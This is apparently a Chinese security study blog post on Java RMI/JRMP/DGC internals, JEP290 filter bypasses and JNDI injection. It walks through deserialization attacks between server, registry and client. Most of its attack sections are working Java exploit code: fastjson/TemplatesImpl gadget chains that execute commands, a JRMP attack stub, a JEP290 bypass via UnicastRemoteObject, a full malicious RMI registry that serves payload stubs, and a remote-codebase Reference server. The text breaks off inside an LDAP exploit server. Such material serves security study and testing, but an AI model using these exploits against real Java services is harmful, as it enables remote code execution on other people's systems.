前言
网上有很多文章都讲过RMI,JRMP,JEP290 。但是每篇文章总有一些没涉及的,或是有一些讲得过分详细。这里我读了很多前辈的文章,并提取出相对简练的内容,帮助自己更好地了解JNDI的相关知识。
这里的目标是:
1、搞清楚RMI的通信流程,搞清楚Server,Registry,Client三者互相的打法
2、了解JRMP在RMI中的作用,知道它和DGC的关系
3、了解两次JEP290的防护和绕过,JEP290(8u121~8u230),JEP290(8u231~8u240)
4、了解JNDI的基本打法,包括codebase远程加载,ldap发送反序列化数据,reference本地工厂(BeanFactory为例)
文章涉及到的代码:JavaGadget/JNDI at main · 1diot9/JavaGadget
RMI通信流程
RMI简介
RMI是 Remote Method Invocation的缩写,java中远程方法调用,主要是为了让java中的方法和对象能被远程调用,跨JVM调用,其是基于JRMP协议的。类比于RPC远程过程调用,c语言里面C 程序员一直使用远程过程调用 (RPC) 在远程主机上执行 C 函数并返回结果。这里JRMP是结合java特性(面向对象)设置的”RPC”。
RMI通信中,有三个部分:Registry,Server,Client。下面就围绕三者的通信展开。
Registry创建
注册中心的创建很简单,只需要一行代码:
1 2 3
| public static void main(String[] args) throws RemoteException { java.rmi.registry.Registry registry = LocateRegistry.createRegistry(1099); }
|
这样就能在1099端口开启一个Registry。
Server绑定对象
先在服务端创建远程对象
接口:
1 2 3 4 5 6 7 8
| package remoteObj;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface Hello extends Remote { public String hello(String name) throws RemoteException; }
|
实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package remoteObj;
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements Hello { public HelloImpl() throws RemoteException { }
@Override public String hello(String name) throws RemoteException { return "hello " + name; } }
|
接着将远程对象绑定到注册中心:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import remoteObj.HelloImpl;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class Server { public static void main(String[] args) throws RemoteException, AlreadyBoundException { Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); HelloImpl hello = new HelloImpl(); registry.bind("hello", hello); } }
|
网上有很多文章,会把注册中心创建和远程对象绑定放到同一段代码,因为这样才能保证Registry能持续开启。这里我将其分开,这样能更好地区别Registry和Server。
bind
在Server端进行bind操作时,会发生:
1、Server发送一段序列化数据到Registry,这段序列化数据并不是远程对象本身,而是远程对象的一个stub(存根)。而存根里有一个字段,里面记录了ip+端口,而这个ip+端口,才是远程对象真正的位置,也就是位于Server端的远程对象,这个地址存放的对象,我们称作skel(骨根)。
这两个词都很形象,Server端拥有远程对象本身,也就是拥有骨根;Registry只有远程对象的地址信息,只拥有存根。
2、Registry收到序列化数据,进行反序列化来获得存根。得到存根后,Registry也会进行回复,而回复的对象也是序列化数据。
3、Registry解析得到存根里的骨根地址,并向骨根,也就是Server,发送一次dgc dirty请求,这个请求也是以序列化的形式发送的。
4、收到dgc dirty请求后,Server会回答一个lease对象给Registry,当然也是以序列化形式。
bind过程流程图:

这里来介绍一下DGC。
DGC
dgc全称distributed garbage-collection,是java中支撑远程方法调用设计的一套垃圾回收协议,Dgc里面就两个方法,一个叫clean 一个叫dirty。
简单来说就是,当DGC中的客户端不需要存根的时候,就要调用clean方法,以便DGC的服务端可以回收相关垃圾。当DGC中的客户端持有某个存根或者需要持续的使用存根的时候,就要调用dirty方法,从而让DGC的服务端知道,客户端在使用,不能回收。除此之外使用dirty方法之后,会收到一个lease响应,这个lease里面会有一些时间的期限类的东西,超过期限还没有收到下一次的dirty请求,这个对象就会被回收。
除此之外,这还有一个要点:
传输内容的格式,传输对象的内容都是以序列化的形式出现在流量中。
在上面的过程中,Server就是DGC服务端,Registry就是DGC客户端。
反序列化小结
总结一下Server端绑定远程对象时,哪里会触发反序列化。
1、bind的时候,server端发送序列化数据给registry。正常情况下,registry反序列化得到stub。如果bind一个恶意对象,理论上能实现server打registry
2、得到stub后,registry要回复server,也是序列化数据,所以这里理论上能registry打server
3、registry解析stub后,获取skel地址,发送dgc dirty请求,也是序列化形式,这里理论上能registry打server
4、server收到dgc dirty请求后,会返回一个lease对象,如果返回的是恶意对象,理论上能server打registry
这里也能看出,server和registry能互相打,所以才会有“打别人,自己反被getshell”的说法。
Client查找对象
先开启注册中心:
1 2 3 4 5 6 7 8 9 10 11 12
| import remoteObj.HelloImpl;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry;
public class Registry { public static void main(String[] args) throws RemoteException, AlreadyBoundException { java.rmi.registry.Registry registry = LocateRegistry.createRegistry(1099); registry.bind("hello", new HelloImpl()); } }
|
接着使用Client调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import remoteObj.Hello;
import java.rmi.NotBoundException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class Client { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); Hello hello = (Hello) registry.lookup("hello"); System.out.println(hello.hello("max")); } }
|
需要注意的是,这里要求Client也存在Hello接口。
lookup
1、client发送序列化后的String对象
2、registry反序列化得到String,根据String名称,找到相应的stub,序列化后返回给client
3、client反序列化得到stub,解析得到skel,向server发送dgc dirty请求
4、server收到dgc dirty请求,回复lease对象给client
5、client将方法参数序列化,发送给server
6、server执行远程方法,得到结果,序列化后发送给client
7、client反序列化数据,得到方法执行结果
lookup流程图:

反序列化小结
同样总结一下上面流程中的反序列化点。
1、client lookup,发送String给registry来查找stub。这里虽然限制发送的对象为String,但是我们可以通过debug的方式,在调试过程中修改对象,然后让registry反序列化恶意对象。所以理论上能client打registry
2、registry序列化stub后,发送给client,client会直接反序列化。所以这里构造恶意registry就能实现registry打client。这也是常用的一种绕过。java-chains里也有实现:

3、client解析stub,获取skel地址后,会发送dgc dirty请求,这里理论上可以client打server
4、server收到dgc dirty请求后,会返回lease对象,替换成恶意对象,理论上就能server打client
5、client向远程方法中填入参数,序列化后发送给server。原本方法的参数类型是固定的,但是仍可以通过debug的方式动态修改。理论上能client打server。
6、server执行远程方法调用后,将结果返回给client,这里返回恶意对象的话,就能server打client
RMI攻击演示&源码分析
jdk8u65环境下演示。
pom.xml:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>com.test</groupId> <artifactId>JNDI</artifactId> <version>1.0-SNAPSHOT</version>
<properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties>
<dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.47</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.30.2-GA</version> </dependency> </dependencies>
</project>
|
bind
利用
这里演示怎么通过bind实现server打registry
准备一个registry:
1 2 3 4 5 6 7 8 9 10 11 12
| import remoteObj.HelloImpl;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry;
public class Registry { public static void main(String[] args) throws RemoteException, AlreadyBoundException { java.rmi.registry.Registry registry = LocateRegistry.createRegistry(1099); registry.bind("hello", new HelloImpl()); } }
|
bind一个恶意对象:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| import com.alibaba.fastjson.JSONArray; import remoteObj.HelloImpl; import tools.ClassByteGen; import tools.InvocationHandlerImpl; import tools.ReflectTools; import tools.TemplatesGen;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.lang.reflect.Proxy; import java.rmi.AlreadyBoundException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); HelloImpl hello = new HelloImpl(); Object payload = getPayload(); registry.bind("evil", (Remote) payload); }
public static Object getPayload() throws Exception { String code = "{\n" + " Runtime.getRuntime().exec(\"calc\");\n" + " }"; byte[] bytes = ClassByteGen.getBytes(code, "AAAA"); Templates templates = TemplatesGen.getTemplates(bytes, null); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException bad = new BadAttributeValueExpException("aaa"); ReflectTools.setFieldValue(bad, "val", jsonArray);
InvocationHandlerImpl invocationHandler = new InvocationHandlerImpl(bad); Object o = Proxy.newProxyInstance(invocationHandler.getClass().getClassLoader(), new Class[]{Remote.class}, invocationHandler);
return o; }
}
|
ClassByteGen:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package tools;
import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
public class ClassByteGen { public static byte[] getBytes(String code, String className) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.importPackage("java.io"); pool.importPackage("java.nio.file"); pool.importPackage("java.lang.reflect"); pool.importPackage("java.nio.charset"); pool.importPackage("java.util");
CtClass ctClass = pool.makeClass(className);
CtConstructor ctConstructor = ctClass.makeClassInitializer(); ctConstructor.setBody(code);
ctClass.writeFile("ClassByteGen"); return ctClass.toBytecode(); } }
|
InvocationHandlerImpl:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package tools;
import java.io.Serializable; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method;
public class InvocationHandlerImpl implements InvocationHandler, Serializable { private Object object;
public InvocationHandlerImpl(Object obj) { this.object = obj; }
@Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { return null; } }
|
先启动registry,在运行server,成功利用。
分析

主要看bind。server端动态获得一个registry stub。38行与registry建立连接,传opnum和hash。
41、42、43建立对象输出流,把远程对象的名称和对应的stub序列化。
然后看registry端的,我们直接把断点打在readObject,因为肯定要反序列化,然后再看前面的调用栈:

主要看skel#dispatch。之前的opnum和hash,分别对应这里的var3,var4 。所以这里进入case0

case0就是把server传输过来的远程对象名称和stub都反序列化,然后绑定到本地。而这里的反序列化没做任何过滤。
同样,可以看到其他case里的rebind,lookup等方法也有直接readObject:

所以理论上都存在反序列化漏洞。
还有一个比较重要的地方,就是在bind前要套一层动态代理,转化成Remote接口实现。因为bind方法的第二个参数要求实现Remote接口:


DGC传输恶意对象(JRMP攻击)
根据上面的分析我们知道,registry获取到stub后,会向server skel发起dgc dirty请求,而server会返回lease对象。所以我们可以建一个符合JRMP协议的DGC server(DGC只要符合JRMP即可),当registry发起dirty请求时,返回恶意对象,从而实现server打registry。这其实就是JRMP攻击的一种。JRMP常常会与DGC机制联系。
首先在server端构造一个恶意stub,里面的skel地址指向恶意JRMP Server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| import com.alibaba.fastjson.JSONArray; import remoteObj.HelloImpl; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import tools.ClassByteGen; import tools.InvocationHandlerImpl; import tools.ReflectTools; import tools.TemplatesGen;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.lang.reflect.Proxy; import java.rmi.AlreadyBoundException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random;
public class Server {
public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); HelloImpl hello = new HelloImpl(); Object o = makeJRMPAttack("127.0.0.1", 13999); registry.bind("evil", (Remote) o); }
public static Object makeJRMPAttack(String host, int port) throws Exception { ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(Server.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy; }
}
|
然后用java-chain起一个恶意JRMP服务:

接着依次启动Registry,Server即可攻击成功。会弹好几次计算器,因为DGC请求是持续发送的。
如果要自己写恶意JRMP服务的话,可以参考ysoserial源码中的ysoserial.exploit.JRMPListener
同样,也可以registry打server。还是用java-chains创建恶意JRMP服务。然后server端填13999端口就行。
1 2 3 4 5 6 7
| public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1", 13999); HelloImpl hello = new HelloImpl();
Object payload = getPayload(); registry.bind("evil", hello); }
|
而且server执行bind,list,lookup,rebind,unbind都会触发。因为registry skel里都有releaseInputStream,即都会发送DGC请求给server:

不管是registry还是server,都会收到DGC相关的序列化数据,所以都有反序列化的过程。因此JRMP都可以打。
server打client也是一样,java-chains起JRMP服务。client访问13999端口即可。client随便lookup一个对象即可,因为重要的是返回的stub里的skel的地址,这个地址跟lookup的对象无关,是恶意JRMP服务固定返回的。
server打registry流程图:

其他
上面讲了如何通过bind实现server打registry;如何通过DGC实现registry打server,server打registry,server打client。其他还有在远程方法调用过程中,通过传参实现client打server,通过返回值实现server打client。不过都不太实用,就不细讲了,了解即可。
jdk高版本修复&绕过
打不了registry
在大于jdk8u121时,无法通过bind实现server打registry。因为此时registry反序列化是白名单机制。也无法通过DGC去打registry,因为也有白名单。
下面是过滤后的结果:


看一下registry的调用栈:


最后的registryFilter,只允许String\Number\Remote\Proxy\UnicaseRef\RMIClientSocketFactory\RMIServerSocketFactory\Actibation\UID的类通过反序列化,这样一来,我们的gadget肯定用不了。
这里的filter是在sun.rmi.server.UnicastServerRef#unmarshalCustomCallData设置的:

这种通过黑白名单对bind的反序列化防护,其实就是JEP290.
绕过JEP290(8u121~8u230)
先简单讲一下JEP290是什么。
JEP290 是 Java 底层为了解决反序列化攻击所提出的一种方案,主要有以下机制:
提供一个限制反序列化类的机制,白名单或者黑名单
限制反序列化的深度和复杂度
为 RMI 远程调用对象提供了一个验证类的机制
定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器
设置JEP290有两种方法:
1、通过setObjectInputFilter来设置filter
2、直接通过conf/security/java.properties文件进行配置
上面在bind时,进行了反序列化防护,但是在DGC通信中,没设置filter,而且DGC通信是有反序列化点的。所以可以通过发送恶意DGC数据的形式,进行攻击。这也就是JRMP打法,因为DGC通信满足JRMP协议。
这个其实在RMI攻击演示&源码分析那边讲过了,就是DGC传输恶意对象(JRMP攻击)。
修复
但是这种DGC传输恶意对象的方式,在8u231被修复过。
看一下registry对server返回的恶意lease对象做了什么过滤,也就是普通DGC在8u230以后不能打的原因,这里是jdk8u341.

这里也引入了白名单机制。所以打registry的方法应该都失效了。
不过还是可以通过DGC打server和client,这两者在反序列化DGC请求时没有serialFilter。
这个补丁就是常说的JEP290 。在 RMI 中 JEP290 主要是在远程引用层 之上进行过滤的,所以其过滤作用对 Server 和 Client 的互相攻击无效。
但是DGC打法在8u121~8u230之间的部分版本是可以打的,主要看DGCImpl_Stub里有没有这行代码:

不过>8u230还是有方法绕过
绕过JEP290(8u231~8u240)
文章末尾提到了如何绕过:https://xz.aliyun.com/news/8299

这里针对的绕过是8u231~8u240
不过链接里的文章失效了,可以看这篇:https://www.anquanke.com/post/id/259059#h3-11
原理和修复文章都讲了,这里不赘述。
最终的Server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| package RMI;
import sun.rmi.registry.RegistryImpl_Stub; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ObjectOutput; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.*; import java.util.Random;
public class ServerBypassJEP290 { public static void main(String[] args) throws Exception { UnicastRemoteObject payload = getPayload(); java.rmi.registry.Registry registry = LocateRegistry.getRegistry(1099); bindReflection("pwn", payload, registry); }
static UnicastRemoteObject getPayload() throws Exception { ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint("localhost", 13999); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true"); RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref); RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance( handler.getClass().getClassLoader(), new Class[]{RMIServerSocketFactory.class, Remote.class}, handler );
Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor(); constructor.setAccessible(true); UnicastRemoteObject unicastRemoteObject = constructor.newInstance();
Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf"); field_ssf.setAccessible(true); field_ssf.set(unicastRemoteObject, factory);
return unicastRemoteObject; }
static void bindReflection(String name, Object obj, Registry registry) throws Exception { Field ref_filed = RemoteObject.class.getDeclaredField("ref"); ref_filed.setAccessible(true); UnicastRef ref = (UnicastRef) ref_filed.get(registry);
Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations"); operations_filed.setAccessible(true); Operation[] operations = (Operation[]) operations_filed.get(registry);
RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L); ObjectOutput outputStream = remoteCall.getOutputStream();
Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace"); enableReplace_filed.setAccessible(true); enableReplace_filed.setBoolean(outputStream, false);
outputStream.writeObject(name); outputStream.writeObject(obj);
ref.invoke(remoteCall); ref.done(remoteCall); } }
|
远程codebase失效
这个是jndi里的修复。>8u121, >8u191时,rmi和ldap分别无法从远程地址加载恶意工厂类。这个是老生常谈了,就不展开说。
jndi打client
在实际中,我们往往是发现一个可控的InitialContext.lookup点,也就是client的lookup可控。这个时候,就需要我们想办法去打client,下面就梳理一下打法。
RMI
Registry返回恶意stub
registry返回的stub会直接被client反序列化,所以可以构造恶意stub来实现攻击。
我们知道,在高版本jdk中,如jdk17.0.16,默认不允许ldap反序列化数据:

但是registry返回的stub却仍然直接调用readObject:

所以可以通过RMI进行原生反序列化,这是一种在高版本jdk常用的绕过。
恶意RMI,即恶意Registry可以通过java-chains起:

那如果想用自己的链子,就要自己实现Registry。N1CTF2025的n1cat给出了实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344
| import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.ObjectStreamClass; import java.io.OutputStream; import java.net.InetSocketAddress; import java.net.ServerSocket; import java.net.Socket; import java.net.SocketException; import java.net.URL; import java.net.URLClassLoader; import java.rmi.MarshalException; import java.rmi.server.ObjID; import java.rmi.server.UID; import javax.net.ServerSocketFactory; import org.slf4j.Logger; import org.slf4j.LoggerFactory;
public class evilServer implements Runnable { public static void main(String[] args) { evilServer.start(); } private static final Logger log = LoggerFactory.getLogger(evilServer.class); public String ip; public int port; private ServerSocket ss; private final Object waitLock = new Object(); private boolean exit; private boolean hadConnection; private static evilServer serverInstance;
public evilServer(String ip, int port) { try { this.ip = ip; this.port = port; this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); } catch (Exception e) { e.printStackTrace(); }
}
public static synchronized void start() { serverInstance = new evilServer("0.0.0.0", 8899); Thread serverThread = new Thread(serverInstance); serverThread.start(); log.warn("[RMI Server] is already running."); }
public static synchronized void stop() { if (serverInstance != null) { serverInstance.exit = true;
try { serverInstance.ss.close(); } catch (IOException e) { e.printStackTrace(); }
serverInstance = null; log.info("[RMI Server] stopped."); }
}
public boolean waitFor(int i) { try { if (this.hadConnection) { return true; } else { log.info("[RMI Server] Waiting for connection"); synchronized(this.waitLock) { this.waitLock.wait((long)i); }
return this.hadConnection; } } catch (InterruptedException var5) { return false; } }
public void close() { this.exit = true;
try { this.ss.close(); } catch (IOException var4) { }
synchronized(this.waitLock) { this.waitLock.notify(); } }
public void run() { log.info("[RMI Server] Listening on {}:{}", "127.0.0.1", "8899");
try { Socket s = null;
try { while(!this.exit && (s = this.ss.accept()) != null) { try { s.setSoTimeout(5000); InetSocketAddress remote = (InetSocketAddress)s.getRemoteSocketAddress(); log.info("[RMI Server] Have connection from " + remote); InputStream is = s.getInputStream(); InputStream bufIn = (InputStream)(is.markSupported() ? is : new BufferedInputStream(is)); bufIn.mark(4); DataInputStream in = new DataInputStream(bufIn); Throwable var6 = null;
try { int magic = in.readInt(); short version = in.readShort(); if (magic == 1246907721 && version == 2) { OutputStream sockOut = s.getOutputStream(); BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); DataOutputStream out = new DataOutputStream(bufOut); Throwable var12 = null;
try { byte protocol = in.readByte(); switch (protocol) { case 75: out.writeByte(78); if (remote.getHostName() != null) { out.writeUTF(remote.getHostName()); } else { out.writeUTF(remote.getAddress().toString()); }
out.writeInt(remote.getPort()); out.flush(); in.readUTF(); in.readInt(); case 76: this.doMessage(s, in, out); bufOut.flush(); out.flush(); break; case 77: default: log.info("[RMI Server] Unsupported protocol"); s.close(); } } catch (Throwable var88) { var12 = var88; throw var88; } finally { if (out != null) { if (var12 != null) { try { out.close(); } catch (Throwable var87) { var12.addSuppressed(var87); } } else { out.close(); } }
} } else { s.close(); } } catch (Throwable var90) { var6 = var90; throw var90; } finally { if (in != null) { if (var6 != null) { try { in.close(); } catch (Throwable var86) { var6.addSuppressed(var86); } } else { in.close(); } }
} } catch (InterruptedException var92) { return; } catch (Exception e) { e.printStackTrace(System.err); } finally { log.info("[RMI Server] Closing connection"); s.close(); } }
return; } finally { if (s != null) { s.close(); }
if (this.ss != null) { this.ss.close(); }
} } catch (SocketException var96) { } catch (Exception e) { e.printStackTrace(System.err); }
}
private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception { log.info("[RMI Server] Reading message..."); int op = in.read(); switch (op) { case 80: this.doCall(s, in, out); break; case 81: case 83: default: throw new IOException("unknown transport op " + op); case 82: out.writeByte(83); break; case 84: UID.read(in); }
s.close(); }
private void doCall(Socket s, DataInputStream in, DataOutputStream out) throws Exception { ObjectInputStream ois = new ObjectInputStream(in) { protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException { if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) { return ObjID[].class; } else if ("java.rmi.server.ObjID".equals(desc.getName())) { return ObjID.class; } else if ("java.rmi.server.UID".equals(desc.getName())) { return UID.class; } else if ("java.lang.String".equals(desc.getName())) { return String.class; } else { throw new IOException("Not allowed to read object"); } } };
ObjID read; try { read = ObjID.read(ois); } catch (IOException e) { throw new MarshalException("unable to read objID", e); }
if (read.hashCode() == 2) { handleDGC(ois); } else if (read.hashCode() == 0) { if (this.handleRMI(s, ois, out)) { this.hadConnection = true; synchronized(this.waitLock) { this.waitLock.notifyAll(); return; } }
s.close(); }
}
private boolean handleRMI(Socket s, ObjectInputStream ois, DataOutputStream out) throws Exception { int method = ois.readInt(); ois.readLong(); if (method != 2) { return false; } else { String object = (String)ois.readObject(); out.writeByte(81);
Object obj; try (ObjectOutputStream oos = new MarshalOutputStream(out, "evil")) { oos.writeByte(1); (new UID()).write(oos); String path = "/" + object; log.info("[RMI Server] Send payloadData for " + path); new Object(); obj = PayloadGenerator.getPayload(); oos.writeObject(obj); oos.flush(); out.flush(); return true; } } } private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.readInt(); ois.readLong(); } static final class MarshalOutputStream extends ObjectOutputStream { private String sendUrl;
public MarshalOutputStream(OutputStream out, String u) throws IOException { super(out); this.sendUrl = u; }
MarshalOutputStream(OutputStream out) throws IOException { super(out); }
protected void annotateClass(Class<?> cl) throws IOException { if (this.sendUrl != null) { this.writeObject(this.sendUrl); } else if (!(cl.getClassLoader() instanceof URLClassLoader)) { this.writeObject((Object)null); } else { URL[] us = ((URLClassLoader)cl.getClassLoader()).getURLs(); String cb = "";
for(URL u : us) { cb = cb + u.toString(); }
this.writeObject(cb); }
}
protected void annotateProxyClass(Class<?> cl) throws IOException { this.annotateClass(cl); } }
}
|
修改handleRMI处即可替换恶意stub。
codebase加载字节码
这个只适用于jdk < 8u121,jdk < 7u131,jdk < 6u141
jndi lookup时,会返回一个Reference对象。当jndi client获取到Reference时,会去加载里面的className参数对应的对象,当加载不到的时候,会从urlclassloader加载,加载的地址是factoryLocation参数,这里我们构造一个恶意类的绑定到对应地址,恶意类的构造方法或者初始化方法里面实现一些恶意代码,即可;客户端会对这个恶意类进行加载和创建实例。
RMIServer:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.NamingException; import javax.naming.Reference;
public class RMIServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Calc1233", "Calc", "http://127.0.0.1:7777/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Calc123", referenceWrapper); } }
|
JndiClient:
1 2 3 4 5 6 7 8 9
| import javax.naming.InitialContext; import javax.naming.NamingException;
public class JndiClient { public static void main(String[] args) throws NamingException { InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://127.0.0.1:1099/Calc123"); } }
|
LDAP
ldap是一种目录访问协议。命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。而到了LDAP,目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录。而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象。
codebase加载字节码
跟上面RMI的过程一样,也是返回一个带有Reference的对象,里面执行恶意工厂的地址。适用于<8u191
直接搬其他师傅写好的服务了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) { run(); }
